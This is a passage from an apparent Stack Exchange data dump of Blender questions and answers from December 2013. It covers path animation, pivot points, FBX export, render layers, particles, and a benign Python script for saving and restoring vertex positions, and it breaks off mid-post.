  <row Id="5516" PostTypeId="2" ParentId="5514" CreationDate="2013-12-13T23:29:59.180" Score="6" Body="&lt;p&gt;You could try using the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Constraints/Relationship/Follow_Path&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Follow Path&lt;/em&gt;&lt;/a&gt;  constraint.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a path (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&amp;gt; Curve &amp;gt; Path&lt;/em&gt;)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the object you wish to animate along the path and add a &lt;em&gt;Follow Path&lt;/em&gt; constraint. Select the curve path as the target:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Mg3J4.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can quickly setup the path animation by pressing &lt;em&gt;Animate Path&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable &lt;em&gt;Follow Curve&lt;/em&gt; to make the object face the direction it is moving in:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qyHvf.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;For more precise animation of the speed along the path, keyframe the &lt;em&gt;Evaluation time&lt;/em&gt; in &lt;em&gt;Curve &amp;gt; Path Animation&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3tHvE.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Note that if you have animated the path by pressing &lt;em&gt;Animate Path&lt;/em&gt;, you will have to remove the generated &lt;em&gt;F-modifier&lt;/em&gt; in the &lt;em&gt;Graph Editor&lt;/em&gt; to be able to keyframe it.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-12-13T23:44:43.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5517" PostTypeId="2" ParentId="5514" CreationDate="2013-12-13T23:50:49.973" Score="3" Body="&lt;p&gt;I'd use simple &lt;code&gt;BezierCurve&lt;/code&gt; as a path with &lt;code&gt;Follow Path&lt;/code&gt; constraint (with &lt;code&gt;Follow Curve&lt;/code&gt; turned on). Then use &lt;code&gt;Offset&lt;/code&gt; value to control position along the path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/u0X58.jpg&quot; alt=&quot;Follow Path constraint with Follow Curve ticked&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also if you'd like to make it look like a high speed cornering with a little drift, you might use an Empty as a target for your car, with a little different &lt;code&gt;Offset&lt;/code&gt; (car would rotate just a little bit before the turn) and &lt;code&gt;Track To&lt;/code&gt; constraint targeted to the empty leading the way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7PO83.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not an ideal solution, neither physically accurate but might give some ideas how to start off maybe.&lt;/p&gt;&#xA;" OwnerUserId="1610" LastActivityDate="2013-12-13T23:50:49.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5518" PostTypeId="1" AcceptedAnswerId="5522" CreationDate="2013-12-14T01:42:37.237" Score="8" ViewCount="1817" Body="&lt;p&gt;I have a scene that's 90% Blender Internal (for speed) with 1 object in Cycles (because that one object looks way better in Cycles). My question is is it possible for me to:&#xA;Set the single blend file rendering&#xA;Have it output the BI scene and Cycles scene into a single openEXR multilayer file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was hoping to render everything as quickly as possible and then do a final composite after everything's rendered so I don't waste time compositing frames that might be wrong or broken. So far I've got a 3rd scene that I've been using to composite both scenes at render time so I know how to get that setup going, I'm just hoping someone can tell me how to render both scenes at the same time without having to composite them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally I'm looking for: &#xA;Scene 1 = Internal -&gt; Outputs to sequence BI_render_.exr&#xA;Scene 2 = Cycles -&gt; Outputs to sequence Cycles_render_.exr&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it comes down to it I might be able to do the Cycles render separately because the single object should be quite quick to do on its own but I was thinking this would be practice for a more complex setups for the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have to admit I have a horrible feeling this can't be done but I just have to ask.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1714" LastEditorUserId="599" LastEditDate="2013-12-14T05:15:51.593" LastActivityDate="2013-12-14T07:40:20.970" Title="Rendering Cycles and Internal in the same scene without compositing" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5519" PostTypeId="1" AcceptedAnswerId="5521" CreationDate="2013-12-14T02:39:05.580" Score="47" ViewCount="316636" Body="&lt;p&gt;I have a sword that currently rotates around a pivot point thats off of the actual object. Im new to blender and im not sure how i would go about changing it so that the sword rotates around the handle. Any help would be appreciated!&lt;/p&gt;&#xA;" OwnerUserId="1844" LastEditorUserId="1844" LastEditDate="2013-12-14T02:48:51.710" LastActivityDate="2019-09-07T12:50:57.307" Title="Setting the pivot point of an object" Tags="&lt;objects&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="19" ClosedDate="2013-12-14T13:20:35.277" ContentLicense="CC BY-SA 3.0" />
  <row Id="5521" PostTypeId="2" ParentId="5519" CreationDate="2013-12-14T03:46:08.453" Score="61" Body="&lt;p&gt;You need to either change the &lt;code&gt;origin&lt;/code&gt; of the object, or use the 3D Cursor as a pivot point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A quick way to change what is used as a pivot point, is to look at the bottom menu in the 3d view and select &quot;Pivot center for rotation/scaling&quot;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vs4TT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But to actually change the object's origin, you could first move the 3D Cursor to whereever you want the pivot point. To do this accurately, you can snap it to whatever you have selected (both in &lt;code&gt;Object Mode&lt;/code&gt; and &lt;code&gt;Edit Mode&lt;/code&gt; by pressing &lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;S&lt;/kbd&gt; and choosing &quot;Cursor to selected&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zFB81.png&quot; alt=&quot;S&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/5CiRi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, in &lt;code&gt;Object Mode&lt;/code&gt; with you object selected, use the Object Tools menu on the left (&lt;kbd&gt;T&lt;/kbd&gt; to make the menu appear if you don't see it), press &lt;code&gt;Origin&lt;/code&gt; button, and choose &quot;Origin to 3D Cursor&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/z4Olk.png&quot; alt=&quot;enter image description here&quot;&gt;--&gt;&lt;img src=&quot;https://i.stack.imgur.com/aHjv7.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/AYcqQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For Blender 2.8:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://docs.blender.org/manual/en/latest/scene_layout/object/editing/transform/control/pivot_point/index.html?highlight=pivot%20point&quot; rel=&quot;noreferrer&quot;&gt;'Pivot Point' selector&lt;/a&gt; can be found at the top of your viewport in a drop-down with a double 'chain-link' icon on it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/PYQkk.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PYQkk.png&quot; alt=&quot;Option drop-down&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1574" LastEditorUserId="79197" LastEditDate="2019-09-07T12:50:57.307" LastActivityDate="2019-09-07T12:50:57.307" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="5522" PostTypeId="2" ParentId="5518" CreationDate="2013-12-14T05:15:22.843" Score="13" Body="&lt;p&gt;If you mean without using the compositor at all, then I don't think it can be done in one go, but it should be easy to render one scene and then the other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you mean just without combining the Cycles BI renders, then it is possible:&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;File output node:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;This can be done with the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Composite_Nodes/Types/Output#File_Output_Node&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;File output&lt;/em&gt;&lt;/a&gt; node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setup your 3rd scene's composite nodes like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/e6EkI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the &lt;em&gt;File output&lt;/em&gt; node and set the output format to &lt;em&gt;Multilayer EXR&lt;/em&gt;. You can add inputs (layers) with the &lt;em&gt;Add input&lt;/em&gt; button in the &lt;em&gt;Properties region&lt;/em&gt; (&lt;kbd&gt;N&lt;/kbd&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8WIhY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you wanted you could even put both the BI and cycles renders in one EXR sequence:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7l8MT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you want to composite you can open the multilayer EXR in an &lt;em&gt;Image&lt;/em&gt; node and get all your layers:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uK4XK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-12-14T07:40:20.970" LastActivityDate="2013-12-14T07:40:20.970" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5523" PostTypeId="1" CreationDate="2013-12-14T06:25:35.330" Score="4" ViewCount="294" Body="&lt;p&gt;I'm animating a hand animation, but the dope sheet has ended up with around 10 different actions and I have no idea how to merge them: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BjB8P.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1829" LastEditorUserId="599" LastEditDate="2013-12-14T07:42:09.060" LastActivityDate="2013-12-22T08:44:46.340" Title="When I animate, I get 10 different actions?" Tags="&lt;animation&gt;&lt;dopesheet&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5524" PostTypeId="1" AcceptedAnswerId="18593" CreationDate="2013-12-14T07:52:13.733" Score="7" ViewCount="1337" Body="&lt;h3&gt;Update&lt;/h3&gt;&#xA;&lt;p&gt;This is now possibly natively as of 2.74. See my &lt;a href=&quot;https://blender.stackexchange.com/a/23221/599&quot;&gt;answer below&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Is it possible to render a panorama in cycles that is &lt;strong&gt;not&lt;/strong&gt; a full 360x180 view?&lt;/p&gt;&#xA;&lt;p&gt;E.g. &lt;code&gt;360° x 30°&lt;/code&gt;?&lt;/p&gt;&#xA;&lt;p&gt;How can I achieve this?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2018-02-22T19:04:08.780" Title="Is it possible to render a panorama in perspectives other than full 360°x180°?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5525" PostTypeId="1" AcceptedAnswerId="5529" CreationDate="2013-12-14T18:00:38.393" Score="9" ViewCount="32920" Body="&lt;p&gt;I have 2 animations currently on a sword that I have modeled and when I export the object as a fbx into my game engine Unity it seems to not bring the animations along with it. Here are the export settings: &lt;img src=&quot;https://i.stack.imgur.com/gaACN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and here is what it looks like when imported into Untiy: &lt;img src=&quot;https://i.stack.imgur.com/wtSHv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can tell I am very new to blender and modeling in general so any tips on where I have gone wrong would be appreciated. Thanks! I apologize for the poor resolution on the second screenshot.&lt;/p&gt;&#xA;" OwnerUserId="1844" LastEditorUserId="12" LastEditDate="2013-12-14T19:20:02.483" LastActivityDate="2019-03-16T01:30:45.200" Title="Animated object exported to fbx does not have any animation" Tags="&lt;animation&gt;&lt;export&gt;&lt;external-applications&gt;&lt;unity&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5526" PostTypeId="1" AcceptedAnswerId="5528" CreationDate="2013-12-14T18:05:41.937" Score="5" ViewCount="1685" Body="&lt;p&gt;When stiching two meshes together sometimes the number of vertices don't match.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could delete the red vertices and reconnect the remaining with &lt;em&gt;Make Edge&lt;/em&gt; &lt;kbd&gt;F&lt;/kbd&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a more efficient way to do this, like adding a vertex using Subdivide &lt;kbd&gt;W&lt;/kbd&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dNxHA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2013-12-14T18:38:04.383" Title="Is there an easier way to remove single vertices in mesh than delete and reconnect?" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5527" PostTypeId="1" AcceptedAnswerId="5556" CreationDate="2013-12-14T18:25:32.413" Score="8" ViewCount="3382" Body="&lt;p&gt;I've been unsuccessful so far in finding information on, or working out how to control the angle that a particle is emitted from using a normal map.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm trying to do is create a texture or UV map and bake a normal map and use that texture to effect the normal that is used by the particle system to create the vectors of the particles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally I would like to be able to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Emit a wave or hemisphere pattern from a plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Paint on a direction for particular patches of grass or hair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Paint a set normal in order to simulate fabrics or faux fur that is manufactured with a direction. (eg, default blue is upright. various changes in colour tilt the hair direction)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have I missed something simple or is this currently not possible?&lt;/p&gt;&#xA;" OwnerUserId="1849" LastEditorUserId="1849" LastEditDate="2013-12-14T18:43:12.467" LastActivityDate="2013-12-15T13:02:15.467" Title="Is it possible to effect the spawning direction of a particle with a normal map?" Tags="&lt;normals&gt;&lt;particles&gt;" AnswerCount="4" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5528" PostTypeId="2" ParentId="5526" CreationDate="2013-12-14T18:38:04.383" Score="5" Body="&lt;p&gt;You can dissolve a vertex with &lt;kbd&gt;X&lt;/kbd&gt; &lt;em&gt;&gt; Dissolve Vertices&lt;/em&gt; or you could also get rid of it by merging it to the next closest one by selecting it, selecting the other choosing a merge option (&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;M&lt;/kbd&gt;).&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2013-12-14T18:38:04.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5529" PostTypeId="2" ParentId="5525" CreationDate="2013-12-14T19:38:45.643" Score="5" Body="&lt;p&gt;When exporting, tick &lt;em&gt;Include Default Take&lt;/em&gt;. Also, since you aren't using bones, you should apply the scale on the model before exporting (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; &lt;em&gt;&gt; Scale&lt;/em&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fiF7v.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The animation(s) should now come over with the selected one (in Blender) as the default take.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yjkHy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2013-12-14T19:38:45.643" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="5530" PostTypeId="2" ParentId="5527" CreationDate="2013-12-14T19:39:08.253" Score="6" Body="&lt;p&gt;I don't know a way to incorporate normal maps, you could achieve the effect you described by &lt;em&gt;Subdividing&lt;/em&gt; &lt;kbd&gt;W&lt;/kbd&gt; the plane several times. And deform it e.g. using &lt;em&gt;Proportional Editing&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kqF6V.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way you would also be able to animate the geometry with &lt;em&gt;Shape Keys&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cvtT9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2013-12-14T19:39:08.253" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5531" PostTypeId="2" ParentId="5523" CreationDate="2013-12-14T20:22:47.280" Score="5" Body="&lt;p&gt;If you want to merge (append) the actions into a single action you could select the keyframes in the action editor to copy and paste &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;C&lt;/kbd&gt; / &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;V&lt;/kbd&gt; them. Both are also accesible from the &lt;em&gt;Key-Menu&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/T2t3k.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case you want to cross-fade them you would need to use the NLA-Editor and arrange the actions on its timeline.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kRDvn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2013-12-22T08:44:46.340" LastActivityDate="2013-12-22T08:44:46.340" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="5532" PostTypeId="2" ParentId="5527" CreationDate="2013-12-14T21:24:25.757" Score="5" Body="&lt;p&gt;If it is something like this you would like, there is the comb tool (like combing hair).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YWKhc.png&quot; alt=&quot;combed hair&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a particles system, then, go from Object mode to Particle edit. Select the comb tool. Comb. Since you stated that you intended to paint the normal map, I guess this would be better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to render your particle system. You must leave Particle edit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if you need to change some of the parameters for the particle system, you must discard the combing information and comb it again. It doesn't matter, combing is fun. :-)&lt;/p&gt;&#xA;" OwnerUserId="395" LastActivityDate="2013-12-14T21:24:25.757" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5533" PostTypeId="1" AcceptedAnswerId="5534" CreationDate="2013-12-14T21:24:37.167" Score="15" ViewCount="25353" Body="&lt;p&gt;In a mesh there is a group of vertices which should not move after being positioned once. I would like to find a way to lock them in place for the whole duration of the project. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I 'lock' them by hiding them and then sculpting. I imagine it is possible also to create shape keys for the vertices. Or I could write a script which would save position of the vertices. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a better way to do it?&lt;/p&gt;&#xA;" OwnerUserId="1311" LastEditorUserId="1311" LastEditDate="2015-12-25T02:04:50.847" LastActivityDate="2015-12-25T02:04:50.847" Title="Locking a vertex group from modification" Tags="&lt;modeling&gt;&lt;vertex-groups&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5534" PostTypeId="2" ParentId="5533" CreationDate="2013-12-14T22:13:12.140" Score="17" Body="&lt;p&gt;I think you outlined most of the the good ways, but here is another option:&lt;/p&gt;&#xA;&lt;h1&gt;Mask modifier:&lt;/h1&gt;&#xA;&lt;p&gt;You could try using the &lt;em&gt;Mask&lt;/em&gt; modifier:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a mask modifier, select your vertex group and enable &lt;em&gt;Invert&lt;/em&gt; so the vertex group is hidden.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable &lt;em&gt;Edit mode visibility&lt;/em&gt; and &lt;em&gt;Apply to edit cage&lt;/em&gt; so that there is no way to select the vertex group elements in edit mode:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8DkUH.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;This will basically function like hiding geometry, except it gives more control and does not interfere with normal hiding.&lt;br /&gt;&#xA;Note that it does not work in sculpt mode (hidden geometry will still be sculpted)&lt;/p&gt;&#xA;&lt;h1&gt;Shape keys:&lt;/h1&gt;&#xA;&lt;p&gt;However, I Think Shape keys is the way to go as it works for both modeling and sculpting.&lt;/p&gt;&#xA;&lt;p&gt;To set this up:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add vertex group of all the geometry to want to modify (excluding the geometry you want to lock)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add two shape keys, a &lt;em&gt;Basis&lt;/em&gt; and a shape key. Set the &lt;em&gt;Value&lt;/em&gt; of the shape key to &lt;code&gt;1&lt;/code&gt; and do your modeling sculpting etc.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the &lt;em&gt;Blend&lt;/em&gt; group to your &amp;quot;modifiable&amp;quot; group. Now only the modifiable geometry will be moved to the new shapekey position, the rest will remain in the &lt;em&gt;Basis&lt;/em&gt; position:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Vz8TZ.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-12-14T22:48:14.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5535" PostTypeId="2" ParentId="5533" CreationDate="2013-12-15T02:27:33.413" Score="6" Body="&lt;p&gt;I also found out how to save location of selected vertices with scripts (from Edit mode). I am not sure though how stable vertex indices are. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;to dump data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;import mathutils&#xA;import os&#xA;&#xA;obj = bpy.context.active_object&#xA;&#xA;bm = bmesh.from_edit_mesh(obj.data)&#xA;sel_verts = [ vert for vert in bm.verts if vert.select ]&#xA;print(&quot;number of verts: {}&quot;.format(len(sel_verts)))&#xA;&#xA;path = os.path.dirname(os.path.dirname(__file__))&#xA;file_path = os.path.join(path,&#xA;                        'scripts',&#xA;                        &quot;%s_dump.tab&quot; % obj.name)&#xA;f = open(file_path, 'w')&#xA;for v in sel_verts:   &#xA;    row = &quot;%s\t%s\t%s\t%s\n&quot; % (v.index,&#xA;                                v.co.x,&#xA;                                v.co.y,&#xA;                                v.co.z)&#xA;    f.write(row)&#xA;f.close()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And to restore:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;import os&#xA;&#xA;obj = bpy.context.active_object&#xA;path = os.path.dirname(os.path.dirname(__file__))&#xA;file_path = os.path.join(path,&#xA;                        'scripts',&#xA;                        &quot;%s_dump.tab&quot; % obj.name)&#xA;f = open(file_path)&#xA;&#xA;verts = {}&#xA;&#xA;for line in f:&#xA;    (index, x, y, z) = line.strip().split(&quot;\t&quot;)&#xA;    verts[int(index)] = { 'x': float(x),&#xA;                          'y': float(y),&#xA;                          'z': float(z) }&#xA;&#xA;bm = bmesh.from_edit_mesh(obj.data)&#xA;for v in bm.verts:&#xA;  if v.index in verts:&#xA;      vv = verts[v.index]&#xA;      v.co.x = vv['x']&#xA;      v.co.y = vv['y']&#xA;      v.co.z = vv['z']&#xA;&#xA;bmesh.update_edit_mesh(obj.data, True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1311" LastActivityDate="2013-12-15T02:27:33.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5536" PostTypeId="2" ParentId="3156" CreationDate="2013-12-15T02:45:18.843" Score="4" Body="&lt;p&gt;It is inevitable due to how UV works, because you are making a big distortion on a large area on UV. To solve that, you can add a Subsurf modifier to it, switch to &lt;strong&gt;Simple&lt;/strong&gt; mode in the modifier panel, assign a relatively high level (for both View and Render), normally 2 to 4, until you get a expected result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5TpG3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2017-05-17T01:29:10.620" LastActivityDate="2017-05-17T01:29:10.620" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5537" PostTypeId="1" AcceptedAnswerId="5627" CreationDate="2013-12-15T03:14:09.073" Score="5" ViewCount="1484" Body="&lt;p&gt;I have a triangulated mesh (100k+ vertices) of a head.   I need to select everything apart from the ears, and reduce the vertex density on that selection by 16x or something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I'm dealing with: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NGuk3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've already asked a question on how to do that and got a very helpful answer: &lt;a href=&quot;https://blender.stackexchange.com/questions/5136/reducing-vertex-density-as-distance-from-focal-point-increases&quot;&gt;Reducing vertex density as distance from point increases&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is selecting the ears.  I would like to get a high level of control; simply using box select isn't going to cut it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I select a vertex path around one ear:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gX9FQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I'm stuck, can someone guide me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the steps I need?   This is my guess:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;somehow store the vertex-path&lt;/li&gt;&#xA;&lt;li&gt;do exactly the same for the other ear&lt;/li&gt;&#xA;&lt;li&gt;now might there be some tool like Microsoft paint's flood-fill,  where I just hit one vertex on the skull, and it will select be entire skull up to and including the boundaries I've just created (i.e. it will avoid the ears)&lt;/li&gt;&#xA;&lt;li&gt;then I decimate, which I have instructions for&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is there some tool I can use that will just let me draw on the surface, and then  it will figure out an appropriate vertex-path?   when I do this on a 2M vertex model, it is going to take ages manually clicking 500 vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I got one step 